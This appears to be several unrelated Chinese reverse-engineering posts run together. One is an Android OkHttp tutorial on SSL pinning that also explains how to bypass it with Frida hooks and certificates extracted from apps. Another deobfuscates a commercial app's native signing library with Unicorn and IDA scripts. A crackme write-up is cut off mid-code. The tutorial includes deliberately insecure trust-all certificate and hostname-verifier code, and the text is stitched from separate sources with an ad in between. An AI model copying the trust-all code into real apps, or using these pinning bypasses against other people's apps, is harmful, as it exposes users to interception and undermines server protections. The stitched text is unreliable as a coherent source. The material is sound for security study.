\\nprivate static class TrustAllCerts implements X509TrustManager {\\n public void checkClientTrusted(X509Certificate[] chain, String authType) throws CertificateException {\\n }\\n\\n public void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException {\\n \\n }\\n\\n public X509Certificate[] getAcceptedIssuers() {\\n // //返回长度为0的数组,相当于return null\\n return new X509Certificate[0];\\n }\\n}\\n\\n// 信任所有的域名\\nHostnameVerifier hostnameVerifierTrustAllHoust = new HostnameVerifier() {\\n @Override\\n public boolean verify(String s, SSLSession sslSession) {\\n //信任所有域名\\n return true;\\n }\\n};\\n\\n\\npublic void httpsTrustAll() {\\n /**\\n * 信任所有证书\\n */\\n new Thread(new Runnable() {\\n @RequiresApi(api = Build.VERSION_CODES.N)\\n @Override\\n public void run() {\\n SSLSocketFactory sSLSocketFactory = null;\\n try {\\n SSLContext sc = SSLContext.getInstance(\\"TLS\\");\\n sc.init(null, new TrustManager[]{new TrustAllCerts()}, new SecureRandom());\\n\\n sSLSocketFactory = sc.getSocketFactory();\\n\\n OkHttpClient mClient = new OkHttpClient().newBuilder()\\n .sslSocketFactory(sSLSocketFactory, new TrustAllCerts())\\n .hostnameVerifier(hostnameVerifierTrustAllHoust)\\n .build();\\n\\n Request request = new Request.Builder()\\n .url(\\"https://www.baidu.com\\")\\n .build();\\n String msg = \\"\\";\\n try (Response response = mClient.newCall(request).execute()) {\\n msg = \\"HTTPS 忽略所有证书,连接成功\\";\\n } catch (IOException e) {\\n msg = \\"HTTPS 忽略所有证书,连接失败\\";\\n e.printStackTrace();\\n }\\n mHandler.obtainMessage(2, msg).sendToTarget();\\n\\n } catch (Exception e) {\\n e.printStackTrace();\\n }\\n }\\n }).start();\\n}\\n\\n
okhttp 如果不做任何配置,默认就是信任系统的证书
\\npublic void httpsTrustSystemca() {\\n /**\\n * 信任系统证书\\n */\\n new Thread(new Runnable() {\\n @Override\\n public void run() {\\n // OkHttp 链接使用 HTTPS 时,默认自动验证系统的证书。不需要额外配置\\n Request request = new Request.Builder()\\n .url(\\"https://www.baidu.com/?q=defaultCerts\\")\\n .build();\\n String msg = \\"\\";\\n try (Response response = new OkHttpClient().newCall(request).execute()) {\\n msg = \\"HTTPS 验证系统证书,连接成功\\";\\n } catch (IOException e) {\\n msg = \\"HTTPS 验证系统证书,连接失败\\";\\n e.printStackTrace();\\n }\\n mHandler.obtainMessage(2, msg).sendToTarget();\\n }\\n }).start();\\n}\\n\\n
更加专业的说法叫做 ssl pinning ,主要是将服务器的公钥或证书直接嵌入到客户端应用中,确保客户端只与特定的服务器建立安全连接。验证也有几种说法,单项验证和双向验证。双向验证是 app 验证服务端证书,同时服务器也验证 app证书。单项验证分两种情况,第一种客户端校验服务端证书,服务端不校验 app 证书,这是比较常见的。第二种,服务验证 app 证书,app 不校验服务端证书,这种就少见了。代码实现方式,第一种是通过 okhttp自带的 CertificatePinner 进行证书的绑定服务端证书,第二种就是前面验证系统证书时,使用的继承 X509TrustManager 的方式。
\\n这里使用了百度的证书,把证书从网站上保存下来之后,手动生成 hash,再进行 base64编码。通过下面的命令就可以搞定
\\nopenssl x509 -in baidu.crt -pubkey -noout | openssl rsa -pubin -outform der | openssl dgst -sha256 -binary | openssl base64\\n\\n
通过 .certificatePinner(certificatePinner) 把 CertificatePinner 添加的百度证书绑定上去。在 okhttp 源码中,会自动进行证书的判断(后面的源码分析会有讲解),当证书不匹配就抛出异常。注意 CertificatePinner 只能绑定服务器证书进行验证,如果想要把 app 证书传入服务器,需要另外的代码。具体看后面的双向认证。
\\nprivate void appCheckServerCertificatePinner() {\\n try {\\n\\n CertificatePinner certificatePinner = new CertificatePinner.Builder()\\n .add(\\"www.baidu.com\\", \\"sha256/cGuxAXyFXFkWm61cF4HPWX8S0srS9j0aSqN0k4AP+4A=\\") // 替换为实际的公钥指纹\\n .build();\\n HttpLoggingInterceptor loggingInterceptor = new HttpLoggingInterceptor();\\n zInterceptor interceptor = new zInterceptor();\\n // 配置 OkHttpClient\\n OkHttpClient okHttpClient = new OkHttpClient.Builder()\\n .certificatePinner(certificatePinner)\\n .addInterceptor(new StackTraceInterceptor())\\n .addInterceptor(interceptor)\\n .build();\\n\\n // 发起请求\\n Request request = new Request.Builder()\\n .url(\\"https://www.baidu.com/\\")\\n .build();\\n // 异步请求\\n okHttpClient.newCall(request).enqueue(new Callback() {\\n @Override\\n public void onFailure(Call call, IOException e) {\\n Log.e(TAG, \\"app 百度证书 CertificatePinner \\" + e.toString());\\n mHandler.obtainMessage(336, \\"\\").sendToTarget();\\n }\\n\\n @Override\\n public void onResponse(Call call, Response response) throws IOException {\\n Log.i(TAG, \\"app 百度证书 CertificatePinner \\" + response.body().string());\\n mHandler.obtainMessage(333, \\"\\").sendToTarget();\\n }\\n });\\n } catch (Exception e) {\\n e.printStackTrace();\\n }\\n }\\n\\n
使用 charles 进行抓包。尽管 charles 的证书已经导入到系统中了。依然无法抓包。通过提示就可以知道,需要让 app 信任 Charles 的证书,才能抓包。具体的对抗方式在之后有介绍。
\\nX509TrustManager 自定义证书绑定。通过构造方法传入服务端的证书,在 checkServerTrusted 进行证书的校验。
\\n使用 X509Certificate 的 equals 来判断两个证书是否相同,不相同直接抛出异常
\\n// ====== app 验证 serverca ==== 单向验证 ===\\nprivate static class TrustServerCerts implements X509TrustManager {\\n private final X509Certificate trustedCertificate;//传入信任的证书\\n\\n public TrustServerCerts(X509Certificate trustedCertificate) {\\n this.trustedCertificate = trustedCertificate;\\n }\\n\\n @Override\\n public void checkClientTrusted(X509Certificate[] chain, String authType) throws CertificateException {\\n }\\n\\n @Override\\n public void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException {\\n // 服务器证书验证逻辑\\n if (chain == null || chain.length == 0) {\\n throw new CertificateException(\\"No server certificates provided.\\");\\n }\\n\\n // 验证服务器证书是否与受信任的证书匹配\\n X509Certificate serverCertificate = chain[0];\\n // Certificate 的 equal 方法\\n if (!serverCertificate.equals(trustedCertificate)) {\\n throw new CertificateException(\\"Server certificate does not match the trusted certificate.\\");\\n } else {\\n Log.d(TAG, \\"https 验证服务器证书成功\\");\\n }\\n }\\n\\n @Override\\n public X509Certificate[] getAcceptedIssuers() {\\n // 返回受信任的证书颁发机构(CA)列表\\n return new X509Certificate[]{trustedCertificate};\\n }\\n}\\n\\n
我们把服务端证书证书放到 app 中的 assert 目录,然后通过代码读取证书设置到 X509Certificate ,在 SSLContext 初始化时,使用 TrustManager 加载 X509Certificate 。当app 发起请求时,系统会自动调用我们写的 TrustServerCerts 类中的 checkServerTrusted 校验证书。
\\n注意这里还有一个主机校验,因为我们自己写了证书校验,那么主机校验,也需要进行我们进行操作。
\\n通过 .hostnameVerifier((hostname, session) -> true) 校验。true 是不验证主机,这里我就偷个懒了。不做这么多操作了。
\\n\\n\\n这里我使用本地服务器做了一个 https的服务器端做测试
\\n
private void appCheckServerCA_V3() {\\n /**\\n * 检测服务器证书 v2 ,使用 TrustServerCerts implements X509TrustManager\\n * 从目录中加载证 crt证书\\n */\\n new Thread(() -> {\\n try {\\n // 加载受信任的服务器证书\\n InputStream serverCertInputStream = getAssets().open(\\"server.crt\\"); // 确保是 .crt 或 .pem 文件\\n CertificateFactory certificateFactory = CertificateFactory.getInstance(\\"X.509\\");\\n X509Certificate serverCertificate = (X509Certificate) certificateFactory.generateCertificate(serverCertInputStream);\\n\\n // 创建 SSLContext\\n SSLContext sslContext = SSLContext.getInstance(\\"TLS\\");\\n sslContext.init(null, new TrustManager[]{new TrustServerCerts(serverCertificate)}, new SecureRandom());\\n\\n\\n // 配置 OkHttpClient\\n HttpLoggingInterceptor loggingInterceptor = new HttpLoggingInterceptor();\\n\\n loggingInterceptor.setLevel(HttpLoggingInterceptor.Level.BODY);\\n\\n // 配置 OkHttpClient\\n OkHttpClient okHttpClient = new OkHttpClient.Builder()\\n .sslSocketFactory(sslContext.getSocketFactory(), new TrustServerCerts(serverCertificate))\\n .hostnameVerifier((hostname, session) -> true) // 不验证域名\\n .addInterceptor(loggingInterceptor)\\n .build();\\n\\n // 发起请求\\n Request request = new Request.Builder()\\n .url(\\"https://xx.xx.xx.xx:8443/insecure\\") // 替换为你的服务器地址\\n .build();\\n\\n try (Response response = okHttpClient.newCall(request).execute()) {\\n Log.i(TAG, \\"app 检测本地服务器证书 \\" + response.body().string());\\n mHandler.obtainMessage(33, \\"\\").sendToTarget();\\n } catch (Exception e) {\\n Log.e(TAG, \\"app 检测本地服务器证书 \\" + e.toString());\\n mHandler.obtainMessage(336, \\"\\").sendToTarget();\\n }\\n } catch (Exception e) {\\n Log.e(TAG, \\"app 检测本地服务器证书 \\" + e.toString());\\n mHandler.obtainMessage(336, \\"\\").sendToTarget();\\n }\\n }).start();\\n}\\n\\n
双向验证就是多了服务器校验客户端证书,请求的使用需要把 app 证书携带上。注意 app 端的证书需要时 bks 或者 jks 格式的。因为这两个证书中包含了秘钥和证书两个信息。android系统加载证书时需要这两个信息。使用 KeyStore 加载 bks 证书,传入证书秘钥,再使用 KeyManagerFactory 存放证书。关键点在 sslContext.init 初始话的时候,把 KeyManagerFactory 加载的 app 证书作为第一个参数传入,这样在发送请求时,会自动携带此证书。
\\n同样 hostnameVerifier 也要做处理。
\\nprivate void SSLPinningV2() {\\n /**\\n * 使用本地的服务器验证 https\\n *\\n * 1. ca 字符串\\n * 2. assert 下的文件\\n */\\n new Thread(new Runnable() {\\n @Override\\n public void run() {\\n try {\\n // 加载客户端证书和私钥\\n KeyStore clientCA = KeyStore.getInstance(\\"BKS\\");\\n InputStream keyStoreInputStream = getAssets().open(\\"client.bks\\");\\n clientCA.load(keyStoreInputStream, \\"123456\\".toCharArray());\\n\\n // 初始化 KeyManagerFactory\\n KeyManagerFactory keyManagerFactory = KeyManagerFactory.getInstance(KeyManagerFactory.getDefaultAlgorithm());\\n keyManagerFactory.init(clientCA, \\"123456\\".toCharArray());\\n\\n\\n InputStream serverCertInputStream = getAssets().open(\\"server.crt\\"); // 确保是 .crt 或 .pem 文件\\n CertificateFactory certificateFactory = CertificateFactory.getInstance(\\"X.509\\");\\n X509Certificate serverCertificate = (X509Certificate) certificateFactory.generateCertificate(serverCertInputStream);\\n\\n\\n // 创建 SSLContext\\n SSLContext sslContext = SSLContext.getInstance(\\"TLS\\");\\n sslContext.init(keyManagerFactory.getKeyManagers(), new TrustManager[]{new TrustServerCerts(serverCertificate)}, new SecureRandom());\\n\\n // 配置 OkHttpClient\\n OkHttpClient okHttpClient = new OkHttpClient.Builder()\\n // 通过 KeyManagerFactory 加载 app 的证书\\n // trustManagerFactory 加载并验证服务端证书\\n .sslSocketFactory(sslContext.getSocketFactory(), (X509TrustManager) new TrustServerCerts(serverCertificate))\\n .hostnameVerifier((hostname, session) -> true) // 不验证域名\\n .build();\\n\\n Request request = new Request.Builder().url(\\"https://xx.xx.xx.xx:8443/secure\\").build();\\n try (Response response = okHttpClient.newCall(request).execute()) {\\n Log.i(TAG, \\"app 检测本地服务器证书 \\\\n\\" + response.body().string());\\n mHandler.obtainMessage(33, \\"\\").sendToTarget();\\n } catch (Exception e) {\\n Log.e(TAG, \\"app 检测本地服务器证书 \\" + e.toString());\\n mHandler.obtainMessage(336, \\"\\").sendToTarget();\\n }\\n } catch (CertificateException e) {\\n throw new RuntimeException(e);\\n } catch (NoSuchAlgorithmException e) {\\n throw new RuntimeException(e);\\n } catch (KeyManagementException e) {\\n throw new RuntimeException(e);\\n } catch (Exception e) {\\n throw new RuntimeException(e);\\n }\\n }\\n }).start();\\n }\\n\\n
此时开启抓包。假设 app 验证服务器的证书,你已经绕过成功了。但是没有把 app 的证书携带给服务器,因为 charles 抓 https 的包,默认是把 charles 自己的证书传给目标服务器。目标服务器开启了 app 证书校验,那一定是不会通过的,就会直接关闭这个链接请求。具体表现形式。
\\n第一种,我自己写的 https 服务器直接返回 403 。
\\n第二种,就是某app返回的 ,远程 ssl 服务器拒接请求。
\\n具体解决方案,请看下文!!
\\n这里还有一个要注意的点。证书在app中的存放方式,可以是保存成文件例如保存成 crt bks jks 等文件直接和app一起打包。也可以把证书变成一个字符串,存放在代码中如下图所示。
\\n最终都是要把证书转成 InputStream 进行加载。
\\n从 okhttp 开始发起请求跟踪,这里我用的 okhttp 版本是 3.10 这个版本代码还是使用 java 写的。先进入 execute
\\n没有被实现,点击左边的绿色图标跳转到实现的地方。
\\n关键点就是 getResponseWithInterceptorChain,从这个地方得到了 Response 。
\\nokhttp 的关键就是有很多的拦截器,不同的拦截器做了不同的时候。默认先加载我们自定义的拦截器 client.interceptors()。然后加载了 4 个固定拦截器 。
\\n这里我们的重点是 ConnectInterceptor ,因为这个拦截器在建立连接的时候同时进行了证书校验。
\\n入口在 newStream
\\nfindHealthyConnection 这是关键入口 ,里面做了各种检测。
\\n在这个方法的下面一点有建立连接的代码
\\n进入 establishProtocol
\\n再跟进 connectTls 这就是最关键的地方,里面开始与服务器握手,握手之后进行证书的验证。
\\n通过代码里可以看到先进行了“握手”,然后验证主机域名,再验证 CertificatePinner 绑定的服务端证书。问题来了,这里没有看到验证 X509TrustManager 里面加载的服务器证书,是在哪里验证的呢?其实 X509TrustManager 是系统自带的证书验证,CertificatePinner 是 okhttp 的证书绑定认证。所以 X509TrustManager 是先执行的。在 sslSocket.startHandshake() 里面链接完成之后就调用了 X509TrustManager 进行验证。
\\n进入 startHandshake 查看一下
\\n到这里已经进入android源码了,不好继续跟踪。但是我们可以在 X509TrustManager 里面增加一个堆栈输出。看看是调用了哪个类,在源码网站去继续跟进分析。
\\n直接进入到最近的调用看看
\\n到这里基本可以确定是调用了 X509TrustManager 进行证书校验。X509TrustManager 的校验逻辑是我们自己写的。所以这里就继续分析一下 certificatePinner 校验逻辑。check方法传入了 host 和服务器返回的所有证书。跟进check 方法。
\\n发现这个函数返回的是 void 。且第一步进行 host 判断
\\nhost是直接判断主机名是否相同,如果主机名都不相同,就直接退出 certificatePinner 校验。
\\n证书的校验逻辑
\\n通过观察可以发现,如果证书校验通过是直接返回空的,如果校验失败就直接抛出了异常。所以如果打开了 charles 发现无法抓包,可以在 logcat 中看看是否有报错。这也是一种确定是否是 ssl pinning 的一种方式。
\\nokhttp 校验证书的整体流程我们大概清楚了。app端的证书使用 KeyStore 加载,服务端证书通过CertificateFactory 加载。在 sslContext.init 是把两个证书作为参数传入。okhttp 发起请求时,在RealConnnection 中调用系统的 startHandshake 开始与服务器进行握手。当握手成功,系统主动调用 X509TrustManager 校验证书,之后是 okhttp 的主机验证,主机验证完成再到 CertificatePinner 绑定的证书校验。
\\n既然整体的证书绑定和校验方式我们都知道了,那么反制的方式也不会太难了。因为存在双向验证的方式,两种验证所在的地方都不同,我们能控制的仅在 app 端。服务器端的我们无法控制。针对不同的地方校验证书,我们就是用不同的方案。
\\n服务器端验证逻辑是,拿着客户端发送过来的证书去验证。当我们使用 charles 抓 https 包时,charles 默认是使用 charles 证书去发起请求。只要把 charles 发起请求携带的证书设置成 app 的证书即可。那么对于不是自己开发的app证书我们如何获取呢?charles 如何导入 app证书呢?
\\n首先解决简单的。假设我们已经获取到 app 证书了。
\\n然后填写目标主机的域名和https端口,默认https端口是 443
\\n然后选择 import p12
\\n再输入证书密码,即可导入成功
\\n第一种解压 app ,然后搜索各种证书的结尾 .bks .p12 .pem .csr 等。然后通过逆向手段在代码中寻找证书的秘钥。具体如何寻找,不是本篇文章的目的了(狗头保命)。
\\n第二种使用工具。肉丝大佬开源的 r0capture 有dump 证书的功能,且能无视证书校验抓取明文的包。
\\n第三种hook方式。前面的分析我们可以知道 app 的证书是会作为第一个参数传入 sslContext.init ,且证书是通过 KeyManagerFactory加载出来的。这里就有两个 hook点了。
\\n应该还有其他的寻找证书的方式,大佬可以在评论区分享交流一下哈!
\\n主要的方式都是使用 hook 。hook各种框架的验证证书逻辑。这部分已经有很多大佬造过轮子了。我们开箱即用就好。xposed有 justtrustmeplus 。frida 也有很多的bypass代码,具体逻辑是就 hook 上面源码分析过程中的具体类,修改返回值,或者自己new 一个类替换掉原先的类。
\\n混淆过的代码我们无法通过直接搜索找到证书绑定的位置。混淆有个特点的就是无法混淆系统类。所以我们主要找到一个关键的系统类的调用,然后输出堆栈,即可知道是在混淆代码中是哪里调用了这个绑定证书的位置。根据前面的分析可以发现 startHandshake 是一个很好的点。
\\n进入就是 android 系统的 SSLSocker 系统代码,无法被混淆。但是这个是没有被实现的方法。我们从之前的堆栈找到是谁实现了它。
\\n是 ConscryptEngineSocket (注意,在不同版本的系统,实现的类可能不同,我这里用的是 android13)
\\nfunction hookssl(){\\n \\n Java.perform(function(){\\n var SSLSocket = Java.use(\\"com.android.org.conscrypt.ConscryptEngineSocket\\");\\n console.log(\\"SSLSocket \\",SSLSocket);\\n SSLSocket.startHandshake.implementation = function () {\\n console.log(\\"startHandshake\\");\\n //java层的堆栈信息\\n console.log(Java.use(\\"android.util.Log\\").getStackTraceString(Java.use(\\"java.lang.Exception\\").$new()))\\n \\n return this.startHandshake();\\n }\\n \\n });\\n}\\n\\n
可以看到的确输出了我们的调用栈。如果是被混淆了,也是会定位到大概位置。然后根据 okhttp 源码向下分析基本能够确定校验证书的地方
\\n因为 okhttp 使用了拦截器的概念,我们可以自己使用 frida 构建一个拦截器,然后加入到 intercepter 链中。这总就是比较复杂了。能用上面hook绕过方式就用 hook吧。这种就作为一个备选方案,了解一下先。网上也有相应代码。
\\n本次通过代码实现了 https 证书绑定也就是 ssl pinning 。分析了 okhttp 的证书校验逻辑,其中 startHandshake 是一个hook点。在这时刻往下就是app中的证书校验逻辑 。文章后半部分给出了证书校验的绕过逻辑,总体来说在 app 端的证书校验,使用 hook手段绕过。服务端的证书校验,是把 app 端的证书导入抓包工具解决,其中app端的证书定位与证书密码获取也是通过hook进行定位。
\\n文章很难面面俱到,如果有更多想要交流的可以来深入探讨一下哈 lvdouzhou_。多谢各位大佬的时间!
版本DP11.30.13。本打算unidbg练手模拟调用mtgsig,结果失败了。只有静态分析有点儿学习成果。
\\n使用ida静态分析过程中遇到如下问题:
查看汇编信息,观察为什么导致这部分无法正常反汇编:
从上面可以看出jumpout位置是一些无法被识别的数据导致ida无法正常分析。从此函数函数开始分析,一开始保存X0
和X30[LR]
接着就是给X0赋值,接着跳转到另一个代码块,此代码块中只有一个函数调用sub_25D00
。
sub_2D500
函数比较简单只有几句话,首先是保存X0,X1
寄存器的值,接着读取X30 + 4 * W0
的值到W0
,再给X30
加上刚刚对去的值,最后恢复X0,X1
的值。逻辑比较简单就是利用进入sub_25D00
时链接寄存器的值为初始地址,再利用参数X0
的值作为偏移读取本文件里的偏移量,通过修改LR链接寄存器的值完成间接跳转,正好导致ida无法正常分析。猜测之前jumpout的地址估计就是偏移表。
因为逻辑简单,涉及到的汇编语句也不多,简单的使用unicorn模拟执行验证上面的分析是否正确。
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 | # unicorn虚拟机初始化 mu = Uc(UC_ARCH_ARM64, UC_MODE_ARM) # 内存区域初始化 BASE_ADDR = 0x40000000 BASE_SIZE = 4 * 1024 * 1024 # 4MB mu.mem_map(BASE_ADDR, BASE_SIZE) # 堆栈初始化 STACK_ADDR = 0x10000000 STACK_SIZE = 0x00100000 mu.mem_map(STACK_ADDR, STACK_SIZE) logger.debug(f \\"Memory map {hex(STACK_ADDR)} - {hex(STACK_ADDR + STACK_SIZE)}\\" ) mu.reg_write(UC_ARM64_REG_SP, STACK_ADDR + STACK_SIZE) # 模拟执行汇编指令 ks = Ks(KS_ARCH_ARM64, KS_MODE_LITTLE_ENDIAN) assembly_code = \';\' .join([ \'STP X0, X30, [SP,#-0x50]\' , \'LDR W0, =2\' , \'STP X0, X1, [SP,#-0x10]!\' , \'LDR W0, [X30,W0,UXTW#2]\' , \'ADD X30, X30, W0,UXTW\' , \'LDP X0, X1, [SP],#0x10\' , ]) encoding, count = ks.asm(assembly_code.strip()) logger.debug(f \\"Assembly code {bytes(encoding).hex()}, bytes count {count}\\" ) # 将代码写入内存 mu.mem_write(BASE_ADDR, bytes(encoding)) # hook 指令 def hook_code(uc: Uc, address: int , size: int , user_data): # 尝试读取指令 inst = uc.mem_read(address, size) # capstone 反汇编尝试 md = Cs(CS_ARCH_ARM64, CS_MODE_ARM) for i in md.disasm(inst, address): logger.debug(f \\">>> {hex(i.address)}:\\\\t{i.mnemonic}\\\\t{i.op_str}\\" ) mu.hook_add(UC_HOOK_CODE, hook_code) def hook_mem_read_unmapped(uc: Uc, access: int , address: int , size: int , value, user_data): logger.debug(f \\">>> Tracing memory read at {hex(address)}, size: {hex(size)}\\" ) mu.hook_add(UC_HOOK_MEM_READ_UNMAPPED, hook_mem_read_unmapped) def hook_mem_read(uc: Uc, access: int , address: int , size: int , value, user_data): data = uc.mem_read(address, size) logger.debug(f \\">>> Tracing memory read at {hex(address)}, size: {hex(size)}, data: {data.hex()}\\" ) mu.hook_add(UC_HOOK_MEM_READ, hook_mem_read) mu.reg_write(UC_ARM64_REG_X30, 0x40000000 ) # 启动 mu.emu_start(BASE_ADDR, BASE_ADDR + ( 4 * count)) # 这里只执行一句指令。 # 执行完之后,查看寄存器状态 sp_value = mu.reg_read(UC_ARM64_REG_SP) logger.debug(f \\"After simulate sp value: {hex(sp_value)}\\" ) logger.debug(f \\"After simulate X0 value: {hex(mu.reg_read(UC_ARM64_REG_X0))}\\" ) logger.debug(f \\"After simulate X30 value: {hex(mu.reg_read(UC_ARM64_REG_X30))}\\" ) |
如上图所示简单执行之后和之前分析的逻辑一致。
修复逻辑也比较简单,就是手动计算真实跳转地址,修改进入sub_25D00
跳转代码块之前的那个直接跳转地址即可。
下面是ida修复代码:
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 | import idc import idautils import ida_funcs import ida_bytes from keystone import Ks, KS_ARCH_ARM64, KS_MODE_LITTLE_ENDIAN ks = Ks(KS_ARCH_ARM64, KS_MODE_LITTLE_ENDIAN) # 1. 查找所有调用0x25d00修改LR函数的代码块。 def get_func_references(func_ea): references = [] # 获取函数开始地址 func_st_ea = ida_funcs.get_func(func_ea).start_ea print (f \\"目标函数起始地址: {hex(func_st_ea)}\\" ) # 遍历所有的代码引用 for ref_ea in idautils.CodeRefsTo(func_st_ea, True ): references.append(ref_ea) return references # 2. 查找所有调用跳转0x25d00代码块的应用。 def get_block_references(block_ea): return [ref_ea for ref_ea in idautils.CodeRefsTo(block_ea, True )] # 3. 获取X0指令的立即数 def find_imm_offset(instruction: str ): temp = instruction.split() opcode = temp[ 0 ] # 暂时判定前一句都是mov给x0赋值 # 注意分割之后的注释。 if opcode.strip() = = \\"MOV\\" and temp[ 1 ].strip().startswith( \'X0\' ): return eval (temp[ 2 ].replace( \'#\' , \'\')) if opcode.strip() = = \\"LDR\\" and temp[ 1 ].strip().startswith( \\"W0\\" ): return eval (temp[ 2 ].replace( \'=\' , \'\')) else : return - 1 # 4. 计算并读取真实偏移表 def read_offset_table(lr_value, x0_value): offset = lr_value + ( 4 * x0_value) # print(hex(offset)) temp = ida_bytes.get_bytes(offset, 4 ) value = int .from_bytes(temp, byteorder = \'little\' ) return value # 5. patch替换无条件跳转 def patch_b_addr(current_addr, real_addr): real_inst = f \\"B {hex(real_addr)}\\" asm_list, _ = ks.asm(real_inst, addr = current_addr) asm_bytes = bytes(asm_list) print (f \\"real code: {asm_bytes.hex()}\\" ) ida_bytes.patch_bytes(current_addr, asm_bytes) func_ea = 0x25d00 func_refs = get_func_references(func_ea) print ( \\"#\\" * 16 ) for func_ref in func_refs: lr_value = func_ref + 4 # 计算真实地址的 block_refs = get_block_references(func_ref) for block_addr in block_refs: prev_addr = idc.prev_head(block_addr) prev_inst = idc.GetDisasm(prev_addr) # print(f\\"lr {hex(lr_value)}, block addr: {hex(block_addr)}\\") x0_value = find_imm_offset(prev_inst) # print(f\\"x0_value: {hex(x0_value)}\\") real_addr = read_offset_table(lr_value, x0_value) + lr_value print (f \\"block addr: {hex(block_addr)}, real addr: {hex(real_addr)}\\" ) patch_b_addr(block_addr, real_addr) print ( \\"#\\" * 16 ) |
使用上面脚本能全部清理。清理后结果:
到此结束,这个so可以直接放到unidbg中模拟执行。但是我没有完成main(1)初始化,如果有大佬完成了给点提示。
\\n[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
\\n\\n这一题很有迷惑性,看似简单的代码逻辑,一眼看到的答案,其实并不是真相,重点在他的反检测。大多数的时候我们通过静态分析(java层还是so层)找到他的加密算法,再逆向还原其算法就能找到最终的答案,但是这道题不是,接下来我们我们会用到frida、AndroidNativeEmu、unidbg、IDA动静态调试。
从代码可以看出,输入的密码调用方法securityCheck(String str),满足true则成功
找到Java_com_yaotong_crackme_MainActivity_securityCheck函数
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 | import logging import sys from unicorn import UC_HOOK_CODE, UC_HOOK_MEM_READ, UC_HOOK_MEM_WRITE from unicorn.arm_const import * from androidemu.emulator import Emulator # Configure logging logging.basicConfig( stream = sys.stdout, level = logging.DEBUG, format = \\"%(asctime)s %(levelname)7s %(name)34s | %(message)s\\" ) logger = logging.getLogger(__name__) # Initialize emulator 实例化虚拟机 emulator = Emulator(vfp_inst_set = True ) # 加载Libc库 emulator.load_library( \\"../example_binaries/32/libc.so\\" , do_init = False ) # 加载要模拟的库 lib_module = emulator.load_library( \\"libcrackme.so\\" , do_init = False ) # 定义内存回调函数以监控变量 0x12A0 的变化 target_address = 0x4450 + 0xa009b000 string_length = 100 # 假设最大字符串长度为 32 字节 # Show loaded modules 打印已经加载的模块 logger.info( \\"Loaded modules:\\" ) for module in emulator.modules: logger.info( \\"[0x%x] %s\\" % (module.base, module.filename)) def memory_read_hook(uc, access, address, size, value, user_data): if address = = target_address: # 获取当前值 # print(uc.mem_read(address, string_length).decode(\'ascii\', errors=\'ignore\')) current_value = uc.mem_read(address, string_length).split(b \'\\\\0\' , 1 )[ 0 ].decode( \'ascii\' , errors = \'ignore\' ) print (f \\"【READ】 Address: 0x{address:X}, Current Value: {current_value}\\" ) def memory_write_hook(uc, access, address, size, value, user_data): if address = = target_address: # 获取写入的新值 new_value = uc.mem_read(address, string_length).split(b \'\\\\0\' , 1 )[ 0 ].decode( \'ascii\' , errors = \'ignore\' ) print (f \\"【WRITE】 Address: 0x{address:X}, New Value: {new_value}\\" ) # 注册指令和内存访问钩子 emulator.uc.hook_add( UC_HOOK_MEM_READ, # 捕获内存读取 memory_read_hook, None , target_address, target_address + string_length ) emulator.uc.hook_add( UC_HOOK_MEM_WRITE, # 捕获内存写入 memory_write_hook, None , target_address, target_address + string_length ) # 模拟运行函数 result1 = emulator.call_symbol( lib_module, \'Java_com_yaotong_crackme_MainActivity_securityCheck\' , emulator.java_vm.jni_env.address_ptr, 0 , \\"wojiushidaan\\" , / / 123 is_return_jobject = False ) # 输出结果 print ( \\"jnicheck result : {}\\" . format (result1)) |
当我们分别输入 123 和 wojiushidaan 看返回的结果
结论:我们可以很确定v6 = off_628C值就是我们输入的值。
在不考虑风控的前提下,明确了目标值用frida hook,是最快的方式,那就来吧,验证下。
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 | function hook_so() { Java.perform(function(){ var addr = Module.findBaseAddress( \\"libcrackme.so\\" ); var v1 = addr.add( 0x4450 ); console.log(v1.readCString()); }); } function main() { hook_so() } setTimeout(main, 4000 ) |
得到值 : aiyou,bucuoo 输入该值验证成功
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 | package com.yaotong.crackme; import com.github.unidbg.AndroidEmulator; import com.github.unidbg.Module; import com.github.unidbg.arm.backend.DynarmicFactory; import com.github.unidbg.linux.android.AndroidEmulatorBuilder; import com.github.unidbg.linux.android.AndroidResolver; import com.github.unidbg.linux.android.dvm.AbstractJni; import com.github.unidbg.linux.android.dvm.DalvikModule; import com.github.unidbg.linux.android.dvm.DvmObject; import com.github.unidbg.linux.android.dvm.VM; import com.github.unidbg.memory.Memory; import com.github.unidbg.pointer.UnidbgPointer; import java.nio.charset.Charset; import java.io. File ; public class MainActivity extends AbstractJni { private final AndroidEmulator emulator; private final VM vm; private final Module module; private final Memory memory; MainActivity() { / / 创建模拟器 emulator = AndroidEmulatorBuilder.for32Bit().addBackendFactory(new DynarmicFactory(true)).build(); / / 内存 memory = emulator.getMemory(); / / 设置SDK memory.setLibraryResolver(new AndroidResolver( 23 )); / / 创建虚拟机 vm = emulator.createDalvikVM(new File ( \\"unidbg-android/src/test/java/com/yaotong/crackme/you.apk\\" )); / / 设置jni vm.setJni(this); / / 打印日志 vm.setVerbose(true); / / 运行so文件 DalvikModule dalvikModule = vm.loadLibrary(new File ( 